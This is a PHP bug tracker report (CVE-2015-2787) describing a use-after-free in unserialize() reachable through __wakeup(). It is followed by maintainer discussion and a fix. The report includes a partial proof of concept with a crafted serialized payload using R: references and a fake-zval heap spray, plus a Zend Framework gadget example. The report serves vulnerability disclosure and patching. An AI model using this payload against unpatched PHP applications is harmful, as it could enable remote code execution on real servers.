|  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #68976 Use After Free Vulnerability in unserialize()
Submitted: 2015-02-03 06:18 UTC Modified: 2015-03-31 05:51 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 5.6.5 OS: *
Private report: No CVE-ID: 2015-2787
 [2015-02-03 06:18 UTC] taoguangchen at icloud dot com
static inline int object_common2(UNSERIALIZE_PARAMETER, zend_long elements)
	zval retval;
	zval fname;

	if (Z_TYPE_P(rval) != IS_OBJECT) {
		return 0;

	//??? TODO: resize before
	if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_P(rval), elements, 1)) {
		return 0;

	if (Z_OBJCE_P(rval) != PHP_IC_ENTRY &&
		zend_hash_str_exists(&Z_OBJCE_P(rval)->function_table, "__wakeup", sizeof("__wakeup")-1)) {
		ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1);
		call_user_function_ex(CG(function_table), rval, &fname, &retval, 0, 0, 1, NULL);

The __wakeup() magic method lead to this problem.

The simple code:


class evilClass {
	public $name;
	function __wakeup() {

$fakezval = pack(

$data = unserialize('a:2:{i:0;O:9:"evilClass":1:{s:4:"name";a:2:{i:0;i:1;i:1;i:2;}}i:1;R:4;}');

for($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;



The unset() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.


Add a Patch

Pull Requests

Add a Pull Request


AllCommentsChangesGit/SVN commitsRelated reports
 [2015-02-16 05:39 UTC]
This requires creating special class to trigger this. But if you can inject code in evilClass, you already have code execution capability. So I'm not sure this is a security issue. I'll think if this issue can be fixed, but doesn't look like a security problem.
 [2015-02-16 07:04 UTC] taoguangchen at icloud dot com
In fact, many programs use __wakeup(), and don't need a special definition of __wakeup(), some very common operations can cause problems, like Zend Framework 2

class Mbox extends AbstractStorage
    protected function openMboxFile($filename)
        if ($this->fh) {
        $this->fh = fopen($filename, 'r');
        $error = ErrorHandler::stop();
        if (!$this->fh) {
            throw new Exception\RuntimeException('cannot open mbox file', 0, $error);
        $this->filename = $filename;
        $this->filemtime = filemtime($this->filename);
    public function close()
        $this->positions = array();
    public function __wakeup()
        $filemtime = filemtime($this->filename);
        if ($this->filemtime != $filemtime) {
        } else {
            $this->fh = fopen($this->filename, 'r');
            $error    = ErrorHandler::stop();
            if (!$this->fh) {
                throw new Exception\RuntimeException('cannot open mbox file', 0, $error);

$this->positions, $this->filemtime and etc will be assigned, which leads to use after free vulnerability and remote code execution.
 [2015-03-02 05:57 UTC]
This seems to fix the issue:

Please check.
 [2015-03-02 08:09 UTC] taoguangchen at icloud dot com
The patch looks and test is ok.
 [2015-03-17 23:44 UTC]
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2015-03-17 23:44 UTC]
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at

 For Windows:
Thank you for the report, and for helping us make PHP better.

 [2015-03-31 05:51 UTC]
-CVE-ID: +CVE-ID: 2015-2787
 [2016-07-20 11:39 UTC]
Automatic comment on behalf of stas
Log: Fixed bug #68976 - Use After Free Vulnerability in unserialize()
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Jul 13 22:01:29 2024 UTC